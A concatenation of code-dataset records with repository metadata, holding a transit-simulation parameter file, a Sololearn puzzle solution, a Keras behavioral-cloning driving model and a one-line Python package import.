11.686041587399236, 7.59416524609887, 8.069573044721038, 9.398189989465838, 9.755624965391739), # 1 (10.236101416163518, 11.256093307603763, 10.616476113985344, 12.66117786839663, 11.320133352749538, 6.3944732061224006, 8.445273314329269, 9.476325446227955, 12.407016252379588, 8.062044795036982, 8.567681667797364, 9.9778187736955, 10.357856690777442), # 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178 (0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0), # 179 ) passenger_allighting_rate = ( (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 0 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 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166 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 167 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 168 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 169 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 170 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 171 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 172 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 173 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 174 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 175 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 176 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 177 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 178 (0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 179 ) """ parameters for reproducibiliy. More information: https://numpy.org/doc/stable/reference/random/parallel.html """ #initial entropy entropy = 8991598675325360468762009371570610170 #index for seed sequence child child_seed_index = ( 1, # 0 36, # 1 )

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0.851062

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260,269

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null

1

0

1

0

1

0

null

0

6

993ec8cc9eaca5be7b60d45d5603b3cb294439a2

276

py

Python

Code coach problems/Easy/Python/Jungle_Camping.py

Djivs/sololearn-code-solutions

7727dd97f79863a88841548770481f6f2abdc7bf

[ "MIT" ]

1

2020-07-27T07:32:57.000Z

Code coach problems/Easy/Python/Jungle_Camping.py

Djivs/sololearn-code-solutions

7727dd97f79863a88841548770481f6f2abdc7bf

[ "MIT" ]

null

Code coach problems/Easy/Python/Jungle_Camping.py

Djivs/sololearn-code-solutions

7727dd97f79863a88841548770481f6f2abdc7bf

[ "MIT" ]

1

2020-11-07T12:45:21.000Z

a = input() for i in range(len(a)): if i == 0 or a[i] == ' ': if i != 0: i+=1 if a[i] == 'S': print("Snake", end = " ") elif a[i] == 'G': print("Lion", end = " ") elif a[i] == 'R': print("Tiger", end = " ") elif a[i] == 'C': print("Bird", end = " ")

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null

0

1

0

null

0

2

9940e845e28cff0d578b7b5aa631c7d7f5fdd50a

3,884

py

Python

model.py

bvvarun1992/Behavioral-Cloning

fe69a0f1f6f2263fa0fca94f7f628701523ad35d

[ "MIT" ]

null

model.py

bvvarun1992/Behavioral-Cloning

fe69a0f1f6f2263fa0fca94f7f628701523ad35d

[ "MIT" ]

null

model.py

bvvarun1992/Behavioral-Cloning

fe69a0f1f6f2263fa0fca94f7f628701523ad35d

[ "MIT" ]

null

import csv import numpy as np import cv2 from sklearn.utils import shuffle from sklearn.model_selection import train_test_split # Reading image paths and steering angles from excel samples = [] with open('/opt/carnd_p3/data/driving_log.csv') as csvfile: reader = csv.reader(csvfile) ## Skipping first line to avoid reading headers ## next(reader) ################################################## for line in reader: samples.append(line) # Splitting data for training and validating train_samples, validation_samples = train_test_split(samples, test_size=0.15) # Function to yeild generator for training and validating neural network def generator(samples, batch_size = 32): while True: shuffle(samples) for offset in range(0, len(samples), batch_size): batch_samples = samples[offset:offset+batch_size] images = [] angles = [] for sample in batch_samples: for i in range(3): file_name = '/opt/carnd_p3/data/IMG/'+sample[i].split('/')[-1] image = cv2.cvtColor(cv2.imread(file_name), cv2.COLOR_BGR2RGB) images.append(image) flip_image = np.fliplr(image) images.append(flip_image) if (i==0): angle = float(sample[3]) flip_angle = -1.0*float(sample[3]) elif (i==1): angle = float(sample[3]) + 0.2 flip_angle = -1.0*(float(sample[3]) + 0.2) elif (i==2): angle = float(sample[3]) - 0.2 flip_angle = -1.0*(float(sample[3]) - 0.2) angles.append(angle) angles.append(flip_angle) x_train = np.array(images) y_train = np.array(angles) yield x_train, y_train # Setting batch size batch_size = 32 # Creating generators for training and validating train_generator = generator(train_samples, batch_size=batch_size) validation_generator = generator(validation_samples, batch_size=batch_size) # Building neural network model from keras.models import Sequential from keras.layers import Flatten, Dense, Activation from keras.layers import Lambda, Cropping2D from keras.layers import Convolution2D from keras.layers import Dropout model = Sequential() # Normailizing model.add(Lambda(lambda x: (x / 255.0) - 0.5, input_shape=(160,320,3))) # Cropping top portion of the images model.add(Cropping2D(cropping=((70,25), (0,0)))) # 5x5 layer convolutions model.add(Convolution2D(24,5,5,subsample=(2,2))) model.add(Activation('elu')) model.add(Convolution2D(24,5,5,subsample=(2,2))) model.add(Activation('elu')) model.add(Convolution2D(48,5,5,subsample=(2,2))) model.add(Activation('elu')) # 3x3 layer convolutions model.add(Convolution2D(64,3,3)) model.add(Activation('elu')) model.add(Convolution2D(64,3,3)) model.add(Activation('elu')) # Fully convolution layer model.add(Flatten()) model.add(Dense(100, activation = 'elu')) model.add(Dropout(0.3)) model.add(Dense(50, activation = 'elu')) model.add(Dropout(0.3)) model.add(Dense(10, activation = 'elu')) model.add(Dense(1)) model.compile(loss='mse', optimizer='adam') model.fit_generator(train_generator, steps_per_epoch = len(train_samples)/batch_size, validation_data = validation_generator, validation_steps= len(validation_samples)/batch_size, shuffle = True, epochs=5, verbose=1) model.save('Model_run2.h5') print('Model saved') model.summary()

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0.012821

0

null

0

null

0

1

0

9941155b73b50825f4c22e8bd60744aecb14e706

38

py

Python

savecode/threeyears/idownserver/dnsreq/__init__.py

Octoberr/swm0920

8f05a6b91fc205960edd57f9076facec04f49a1a

[ "Apache-2.0" ]

2

2019-05-19T11:54:26.000Z

2019-05-19T12:03:49.000Z

savecode/threeyears/idownserver/dnsreq/__init__.py

Octoberr/swm0920

8f05a6b91fc205960edd57f9076facec04f49a1a

[ "Apache-2.0" ]

1

2020-11-27T07:55:15.000Z

savecode/threeyears/idownserver/dnsreq/__init__.py

Octoberr/swm0920

8f05a6b91fc205960edd57f9076facec04f49a1a

[ "Apache-2.0" ]

2

2021-09-06T18:06:12.000Z

2021-12-31T07:44:43.000Z

from .dnsreqdealer import DnsReqDealer

38

0.894737

4

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8.5

0.75

0

0.078947

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0.971429

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